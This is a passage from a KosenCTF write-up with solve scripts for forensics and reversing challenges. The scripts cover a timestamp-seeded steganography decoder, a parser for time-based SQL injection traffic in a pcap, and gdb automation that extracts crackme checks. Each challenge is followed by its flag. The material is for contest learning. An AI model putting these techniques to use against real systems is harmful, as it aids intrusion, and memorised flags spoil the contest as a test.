<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">().</span><span class="n">timestamp</span><span class="p">()))</span>
<span class="n">bin_flag</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">flag</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">bin_flag</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">>></span> <span class="n">i</span><span class="p">)</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"./emiru.png"</span><span class="p">)</span>
<span class="n">new_img</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="s">"RGB"</span><span class="p">,</span> <span class="n">img</span><span class="p">.</span><span class="n">size</span><span class="p">)</span>
<span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">img</span><span class="p">.</span><span class="n">size</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">w</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">):</span>
<span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">img</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">))</span>
<span class="n">rnd</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">if</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span> <span class="o">&</span> <span class="mh">0xFE</span><span class="p">)</span> <span class="o">|</span> <span class="n">bin_flag</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">bin_flag</span><span class="p">)]</span>
<span class="n">new_img</span><span class="p">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">g</span> <span class="o">=</span> <span class="p">(</span><span class="n">g</span> <span class="o">&</span> <span class="mh">0xFE</span><span class="p">)</span> <span class="o">|</span> <span class="n">bin_flag</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">bin_flag</span><span class="p">)]</span>
<span class="n">new_img</span><span class="p">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="k">elif</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">b</span> <span class="o">=</span> <span class="p">(</span><span class="n">b</span> <span class="o">&</span> <span class="mh">0xFE</span><span class="p">)</span> <span class="o">|</span> <span class="n">bin_flag</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">bin_flag</span><span class="p">)]</span>
<span class="n">new_img</span><span class="p">.</span><span class="n">putpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span><span class="p">))</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">new_img</span><span class="p">.</span><span class="n">save</span><span class="p">(</span><span class="s">"./steg_emiru.png"</span><span class="p">)</span>
<span class="k">with</span> <span class="n">tarfile</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"stegano.tar.gz"</span><span class="p">,</span> <span class="s">"w:gz"</span><span class="p">)</span> <span class="k">as</span> <span class="n">tar</span><span class="p">:</span>
<span class="n">tar</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="s">"./steg_emiru.png"</span><span class="p">)</span>
<span class="n">tar</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</code></pre></div></div>
<p>But, it is based on random value with execute time.</p>
<p>So, extract <code class="language-plaintext highlighter-rouge">steg_emiru.png</code>’s create timestamp, and got a flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">tarfile</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">for</span> <span class="n">iii</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="mi">1565059458</span><span class="p">)</span><span class="o">-</span><span class="n">iii</span><span class="p">)</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">Image</span><span class="p">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"./steg_emiru.png"</span><span class="p">)</span>
<span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">img</span><span class="p">.</span><span class="n">size</span>
<span class="n">res</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
<span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">):</span>
<span class="n">r</span><span class="p">,</span> <span class="n">g</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">img</span><span class="p">.</span><span class="n">getpixel</span><span class="p">((</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">))</span>
<span class="n">rnd</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">if</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">res</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">r</span><span class="o">&</span><span class="mi">1</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">res</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">g</span><span class="o">&</span><span class="mi">1</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">rnd</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">res</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">b</span><span class="o">&</span><span class="mi">1</span><span class="p">)</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">k</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">res</span><span class="p">)</span><span class="o">/</span><span class="mi">8</span><span class="p">)):</span>
<span class="n">k</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">8</span><span class="p">:</span><span class="n">i</span><span class="o">*</span><span class="mi">8</span><span class="o">+</span><span class="mi">8</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span><span class="mi">2</span><span class="p">))</span>
<span class="k">if</span> <span class="s">'Kosen'</span> <span class="ow">in</span> <span class="n">k</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="n">iii</span><span class="p">,</span><span class="n">k</span><span class="p">)</span>
<span class="k">break</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{Her_name_is_EMIRU_AISAKI_who_is_appeared_in_Hugtto!PreCure}</p>
<h2 id="lost-world">lost world</h2>
<p>This chall is recover root’s password, then grep dmesg.</p>
<p>I try to method from below link.</p>
<p>https://linuxconfig.org/how-to-reset-lost-root-password-on-ubuntu-16-04-xenial-xerus-linux</p>
<p><strong>FLAG</strong> : KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}</p>
<h2 id="saferm">saferm</h2>
<p><code class="language-plaintext highlighter-rouge">img</code> contains ELF file and erased file.</p>
<p>First extract ELF file, and analyse that.</p>
<p>It’s simple.</p>
<p>First make random 8 bytes from /dev/urandom.</p>
<p>Next, xor file for erasing repeatedly using random 8 bytes.</p>
<p>I expect it is zip, then i got a zip file.</p>
<p>In zip, we got a flag.</p>
<p><strong>FLAG</strong> : KosenCTF{p00r_shr3dd3r}</p>
<h2 id="temple-of-time">Temple of Time</h2>
<p>In pcap, exist time-based sql injection query.</p>
<p>Just parsing query and got a flag.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">urllib</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'./40142c592afd88a78682234e2d5cada9.pcapng'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">q</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'GET /index.php?portal='</span><span class="p">)</span>
<span class="n">prev</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">res</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">prev_value</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">k</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">i</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'%23'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">unquote</span><span class="p">(</span><span class="n">q</span><span class="p">)</span>
<span class="n">now</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"admin'),"</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">','</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">if</span> <span class="n">now</span> <span class="o">!=</span> <span class="n">prev</span><span class="p">:</span>
<span class="k">print</span> <span class="n">now</span><span class="p">,</span><span class="n">prev</span>
<span class="n">res</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">prev_value</span><span class="p">)</span>
<span class="n">prev</span> <span class="o">=</span> <span class="n">now</span>
<span class="n">prev_value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">q</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'))='</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">',SLEEP'</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">print</span> <span class="n">res</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}</p>
<h1 id="reversing">Reversing</h1>
<h2 id="basic-crackme">basic crackme</h2>
<p>It simple crackme reversing.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v6</span> <span class="o">=</span> <span class="p">[</span><span class="mi">180</span><span class="p">,</span><span class="mi">247</span><span class="p">,</span><span class="mi">57</span><span class="p">,</span><span class="mi">89</span><span class="p">,</span><span class="mi">234</span><span class="p">,</span><span class="mi">57</span><span class="p">,</span><span class="mi">75</span><span class="p">,</span><span class="mi">107</span><span class="p">,</span><span class="mi">191</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">209</span><span class="p">,</span>
<span class="mi">66</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">228</span><span class="p">,</span><span class="mi">66</span><span class="p">,</span><span class="mi">261</span><span class="p">,</span><span class="mi">88</span><span class="p">,</span><span class="mi">21</span><span class="p">,</span><span class="mi">264</span><span class="p">,</span><span class="mi">171</span><span class="p">,</span><span class="mi">24</span><span class="p">,</span><span class="mi">232</span><span class="p">,</span><span class="mi">205</span><span class="p">,</span><span class="mi">27</span><span class="p">,</span><span class="mi">235</span><span class="p">,</span>
<span class="mi">81</span><span class="p">,</span><span class="mi">30</span><span class="p">,</span><span class="mi">273</span><span class="p">,</span><span class="mi">68</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">134</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">72</span><span class="p">,</span><span class="mi">89</span><span class="p">,</span><span class="mi">54</span><span class="p">,</span><span class="mi">266</span><span class="p">,</span><span class="mi">155</span><span class="p">,</span><span class="mi">253</span><span class="p">]</span>
<span class="n">res</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">v6</span><span class="p">)):</span>
<span class="n">kk</span> <span class="o">=</span> <span class="n">v6</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-</span><span class="n">i</span>
<span class="n">t1</span> <span class="o">=</span> <span class="p">(</span><span class="n">kk</span><span class="o">&</span><span class="mh">0xF0</span><span class="p">)</span><span class="o">>></span><span class="mi">4</span>
<span class="n">t2</span> <span class="o">=</span> <span class="p">(</span><span class="n">kk</span><span class="o">&</span><span class="mh">0xF</span><span class="p">)</span><span class="o"><<</span><span class="mi">4</span>
<span class="n">k</span> <span class="o">=</span> <span class="p">(</span><span class="n">t1</span><span class="o">|</span><span class="n">t2</span><span class="p">)</span>
<span class="k">if</span> <span class="n">k</span> <span class="o">></span> <span class="mh">0xff</span><span class="p">:</span>
<span class="n">k</span> <span class="o">-=</span> <span class="mh">0x100</span>
<span class="k">elif</span> <span class="n">k</span><span class="o"><</span><span class="mi">0</span><span class="p">:</span>
<span class="n">k</span> <span class="o">+=</span> <span class="mh">0x100</span>
<span class="n">res</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">k</span><span class="p">)</span>
<span class="k">print</span> <span class="sb">`res`</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{w3lc0m3_t0_y0-k0-s0_r3v3rs1ng}</p>
<h2 id="magic-function">magic function</h2>
<p>It check flag’s character functions.</p>
<p>But, 0~7 is <code class="language-plaintext highlighter-rouge">f1</code>, 8~15 is <code class="language-plaintext highlighter-rouge">f2</code>, 16~23 is <code class="language-plaintext highlighter-rouge">f3</code>.</p>
<p>I used to gdb for extract true value.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">def</span> <span class="nf">setBreak</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'b*%s'</span><span class="o">%</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">parseReg</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">return</span> <span class="n">data</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"('"</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"')"</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">flag</span> <span class="o">=</span> <span class="s">'KosenCTF{fl4ggy_p0lyn0m}'</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x8</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="s">'gdb'</span><span class="p">,</span><span class="s">'chall'</span><span class="p">])</span>
<span class="n">tmp_flag</span> <span class="o">=</span> <span class="n">flag</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">24</span><span class="p">,</span><span class="s">'0'</span><span class="p">)</span>
<span class="c1">#setBreak(0x000000000040080B) # f1
</span> <span class="c1">#setBreak(0x000000000040082B) # f2
</span> <span class="n">setBreak</span><span class="p">(</span><span class="mh">0x0000000000400845</span><span class="p">)</span> <span class="c1"># f3
</span> <span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'r %s'</span><span class="o">%</span><span class="p">(</span><span class="n">tmp_flag</span><span class="p">))</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'RBX'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">__</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">_</span><span class="p">):</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'$'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'c'</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'RBX'</span><span class="p">)</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">parseReg</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="n">k</span>
<span class="k">print</span> <span class="n">flag</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{fl4ggy_p0lyn0m}</p>
<h2 id="passcode">passcode</h2>
<p>It is dotnet reversing problem.</p>
<p>It’s very simple.</p>
<p>You can get the flag by typing it in order.</p>
<p>I reused the code to extract the flag.</p>
<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.ComponentModel</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Drawing</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Linq</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.Windows.Forms</span><span class="p">;</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">Program</span>
<span class="p">{</span>
<span class="k">private</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">></span> <span class="n">correct_state</span><span class="p">;</span>
<span class="k">private</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">></span> <span class="n">vars</span><span class="p">;</span>
<span class="k">private</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">></span> <span class="n">indices</span><span class="p">;</span>
<span class="k">private</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">></span> <span class="n">state</span><span class="p">;</span>
<span class="k">private</span> <span class="k">void</span> <span class="nf">reset</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="n">vars</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">>()</span>
<span class="p">{</span>
<span class="m">1</span><span class="p">,</span>
<span class="m">2</span><span class="p">,</span>
<span class="m">3</span><span class="p">,</span>
<span class="m">4</span><span class="p">,</span>
<span class="m">5</span><span class="p">,</span>
<span class="m">6</span><span class="p">,</span>
<span class="m">7</span><span class="p">,</span>
<span class="m">8</span><span class="p">,</span>
<span class="m">9</span>
<span class="p">};</span>
<span class="k">this</span><span class="p">.</span><span class="n">indices</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">>();</span>
<span class="k">this</span><span class="p">.</span><span class="n">state</span> <span class="p">=</span> <span class="k">new</span> <span class="n">List</span><span class="p"><</span><span class="kt">int</span><span class="p">>();</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">void</span> <span class="nf">shuffle</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">Seed</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">num</span> <span class="k">in</span> <span class="k">this</span><span class="p">.</span><span class="n">state</span><span class="p">)</span>
<span class="n">Seed</span> <span class="p">=</span> <span class="n">Seed</span> <span class="p">*</span> <span class="m">10</span> <span class="p">+</span> <span class="n">num</span><span class="p">;</span>
<span class="n">Random</span> <span class="n">random</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">Random</span><span class="p">(</span><span class="n">Seed</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">index1</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">index1</span> <span class="p"><</span> <span class="m">9</span><span class="p">;</span> <span class="p">++</span><span class="n">index1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">index2</span> <span class="p">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">Next</span><span class="p">(</span><span class="m">9</span><span class="p">);</span>
<span class="kt">int</span> <span class="kt">var</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">index1</span><span class="p">];</span>
<span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">index1</span><span class="p">]</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">index2</span><span class="p">];</span>
<span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">index2</span><span class="p">]</span> <span class="p">=</span> <span class="kt">var</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">private</span> <span class="k">void</span> <span class="nf">push</span><span class="p">(</span><span class="kt">int</span> <span class="n">index</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="n">indices</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="n">index</span><span class="p">);</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">indices</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
<span class="k">this</span><span class="p">.</span><span class="n">state</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">index</span><span class="p">]);</span>
<span class="k">this</span><span class="p">.</span><span class="nf">shuffle</span><span class="p">();</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">state</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
<span class="kt">string</span> <span class="n">text</span> <span class="p">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">index1</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span> <span class="n">index1</span> <span class="p"><</span> <span class="k">this</span><span class="p">.</span><span class="n">indices</span><span class="p">.</span><span class="n">Count</span> <span class="p">/</span> <span class="m">3</span><span class="p">;</span> <span class="p">++</span><span class="n">index1</span><span class="p">)</span>
<span class="n">text</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">indices</span><span class="p">[</span><span class="n">index1</span> <span class="p">*</span> <span class="m">3</span><span class="p">]</span> <span class="p">*</span> <span class="m">64</span> <span class="p">+</span> <span class="k">this</span><span class="p">.</span><span class="n">indices</span><span class="p">[</span><span class="n">index1</span> <span class="p">*</span> <span class="m">3</span> <span class="p">+</span> <span class="m">1</span><span class="p">]</span> <span class="p">*</span> <span class="m">8</span> <span class="p">+</span> <span class="k">this</span><span class="p">.</span><span class="n">indices</span><span class="p">[</span><span class="n">index1</span> <span class="p">*</span> <span class="m">3</span> <span class="p">+</span> <span class="m">2</span><span class="p">])).</span><span class="nf">ToString</span><span class="p">();</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">text</span><span class="p">);</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"Correct!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">this</span><span class="p">.</span><span class="nf">reset</span><span class="p">();</span>
<span class="k">this</span><span class="p">.</span><span class="n">correct_state</span> <span class="p">=</span> <span class="s">"231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"</span><span class="p">.</span><span class="n">Select</span><span class="p"><</span><span class="kt">char</span><span class="p">,</span> <span class="kt">int</span><span class="p">>((</span><span class="n">Func</span><span class="p"><</span><span class="kt">char</span><span class="p">,</span> <span class="kt">int</span><span class="p">>)</span> <span class="p">(</span><span class="n">c</span> <span class="p">=></span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="n">c</span> <span class="p">-</span> <span class="m">48</span><span class="p">)).</span><span class="n">ToList</span><span class="p"><</span><span class="kt">int</span><span class="p">>();</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">correct_state</span><span class="p">[</span><span class="m">0</span><span class="p">]);</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">=</span><span class="m">0</span><span class="p">;</span><span class="n">i</span><span class="p"><</span><span class="k">this</span><span class="p">.</span><span class="n">correct_state</span><span class="p">.</span><span class="n">Count</span><span class="p">;++</span><span class="n">i</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">k</span> <span class="p">=</span> <span class="k">this</span><span class="p">.</span><span class="n">correct_state</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">tmp</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span><span class="p">=</span><span class="m">0</span><span class="p">;</span><span class="n">j</span><span class="p"><</span><span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span><span class="n">j</span><span class="p">++){</span>
<span class="k">if</span><span class="p">(</span><span class="n">k</span><span class="p">==</span><span class="k">this</span><span class="p">.</span><span class="n">vars</span><span class="p">[</span><span class="n">j</span><span class="p">]){</span>
<span class="n">tmp</span><span class="p">=</span><span class="n">j</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="k">this</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
<span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>FLAG</strong> : KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}</p>
<h2 id="favorites">favorites</h2>
<p>Check one byte between flag and input value.</p>
<p>I used to gdb for extract true value like <code class="language-plaintext highlighter-rouge">magic function chall</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span><span class="o">=</span><span class="s">'warn'</span>
<span class="k">def</span> <span class="nf">setBreak</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">'b*%s'</span><span class="o">%</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">parseReg</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
